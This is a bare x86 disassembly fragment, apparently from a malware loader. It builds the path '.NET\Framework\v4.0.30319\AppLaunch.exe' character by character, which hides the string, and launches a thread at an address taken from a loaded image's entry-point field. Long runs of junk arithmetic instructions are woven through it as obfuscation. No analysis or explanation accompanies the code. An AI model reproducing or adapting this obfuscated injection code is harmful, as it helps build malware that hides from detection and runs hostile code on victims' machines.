mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x40c591
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401230
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
sbb esi, 0xcd
rcr ebx, 8
rcr edx, 0x1c
dec edx
add eax, 0x7b
rcr edi, 0x70
neg edi
or ebx, 0xaa
rol edx, 0xcf
bswap edi
not eax
bswap eax
dec eax
bswap eax
not eax
ror ebx, 0xc0
mov edx, 0xd
not esi
not esi
or edx, 0x6e
ror ebx, 0x82
not ebx
sub ebx, 0x90
or esi, 0x58
mov esi, 0x88
imul esi
mov eax, 0x20
not edi
imul edi
mov esi, 0xce
and edx, 0x7d
rcl edi, 0xb6
imul eax
not esi
inc eax
sbb ebx, 0xcd
bswap edi
neg edx
add esi, 0xf4
not edx
sub edi, 0xcf
and edx, 0xba
not edx
sbb edx, 0x2a
ror edi, 0x98
mov edi, 0xca
rcl eax, 0xba
rcr esi, 0x92
sbb eax, 0x1b
bswap edi
mov edi, 0xe
dec eax
rcr edx, 0x5b
or edi, 0x4e
rcl esi, 0xa2
mov esi, 0x4e
rol edi, 0xde
add eax, 0x96
and ebx, 0x71
ror edx, 0x8e
add edi, 0xa0
rcl eax, 0x57
inc edi
and edi, 0xff
rcl esi, 4
imul edi
not edi
add ebx, 0x16
bswap edi
not edi
rcl eax, 0xe3
or esi, 0xbf
imul ebx
bswap esi
sub edi, 0xbb
rcl edi, 0x42
mov ebx, 0x84
rol ebx, 0xdb
sbb esi, 0xde
and esi, 0x4c
sbb ebx, 0x34
or edi, 0x8e
dec eax
mov ebx, 0x3d
rcl edi, 0xa6
bswap edx
bswap edi
sbb edx, 0x68
rcr ebx, 0x47
rol edx, 0x10
sub edi, 0x9e
not edx
or eax, 0xb7
neg ebx
or edi, 0
and eax, 0xb9
sbb ebx, 0xdd
rcl eax, 0x7a
rcr esi, 0x1b
dec esi
inc esi
neg ebx
add edx, 0xd0
dec esi
inc edx
inc ebx
imul eax
imul esi
sub eax, 0x42
ror esi, 0xe3
add eax, 0xc0
rcr esi, 0xab
not esi
mov ebx, 0xf2
not esi
not edx
rcl edi, 0x51
bswap esi
sbb ebx, 0x65
inc ebx
inc edi
neg edi
bswap esi
ror eax, 0xf9
or edx, 0x19
or edi, 0x55
add eax, 0xa7
not ebx
not eax
rcl eax, 0x55
rcl edi, 0xa2
add ebx, 0x4b
and esi, 0x48
inc ebx
ror esi, 0x75
inc edi
sub esi, 0xe9
bswap edi
neg eax
and ebx, 0xc9
neg eax
bswap edx
dec esi
rol edx, 0x39
inc edx
dec esi
rol edx, 0x2a
or esi, 0x18
sbb esi, 0x75
rcl ebx, 0x5f
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x40c7a8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401230
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
not ebx
inc ebx
neg ebx
add edx, 0xd3
rcl edi, 0xe0
inc ebx
and edi, 0x7d
rcr esi, 0x30
inc ebx
not ebx
not edx
rcr edx, 0x9d
inc edi
neg edx
rcr edx, 0xbd
rol edi, 0xe9
add ebx, 0x34
rol edi, 0xa6
rcr eax, 0xd5
rcr edi, 0x88
bswap edi
sub edi, 0x6e
add edx, 0xfe
add ebx, 0x5f
dec edx
mov ebx, 0xb1
neg esi
bswap esi
not ebx
rcl eax, 0xa4
bswap ebx
or esi, 0x51
not esi
rcl edi, 0xe7
rcr esi, 0x72
bswap edi
inc esi
inc eax
rcr ebx, 0xcd
sub edx, 0x46
inc eax
sbb edx, 0xf5
rol edi, 0x66
imul ebx
and edx, 0x40
rcr edx, 0xe2
rcl eax, 0xc9
bswap edi
or edx, 0x31
not esi
rcr ebx, 0x3c
inc edx
not edi
inc esi
or edx, 0x2a
imul edi
imul edi
bswap ebx
bswap ebx
inc ebx
mov esi, 0x6e
rol edx, 0x53
not edx
sub edx, 0xa8
and edx, 0xa5
dec edx
dec edx
dec esi
sbb ebx, 0xb0
and edx, 0x9c
rcr eax, 0x44
neg edx
sbb eax, 0x6b
neg ebx
mov edi, 0x55
ror esi, 0x5c
neg eax
ror edi, 0x3c
or edx, 0x9a
neg ebx
not eax
inc edx
not esi
rcr edx, 0x47
sub edx, 0xd7
rcl edx, 0x41
imul esi
bswap edi
neg edx
or esi, 0x69
bswap ebx
not esi
neg edx
not esi
bswap ebx
imul esi
mov edi, 0xe8
rol eax, 0x85
mov edi, 0x74
ror edi, 0xcc
neg esi
not ebx
imul eax
add ebx, 0xbe
not esi
sbb edi, 0x1d
add edx, 0x4f
bswap edx
neg edx
rcr esi, 0x3b
imul eax
and eax, 0x1b
neg ebx
imul ebx
dec esi
inc esi
and edx, 0x83
rcl ebx, 0xab
inc ebx
sub eax, 0x97
sbb ebx, 0x51
sbb edx, 0xa5
not edi
inc edx
mov edx, 0x12
bswap edi
or ebx, 0x81
mov ebx, 0x2d
and eax, 0xeb
rol ebx, 0xb2
and eax, 0xea
add edx, 0xb4
rol ebx, 0x10
rcr ebx, 3
mov eax, 0x18
rcr esi, 0x63
mov ebx, 0xad
bswap eax
ror edx, 0xed
mov ebx, 0x6c
neg edx
imul eax
imul ebx
add edi, 0x80
imul ebx
bswap esi
neg esi
not ebx
add edx, 0x5b
rol eax, 0x54
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret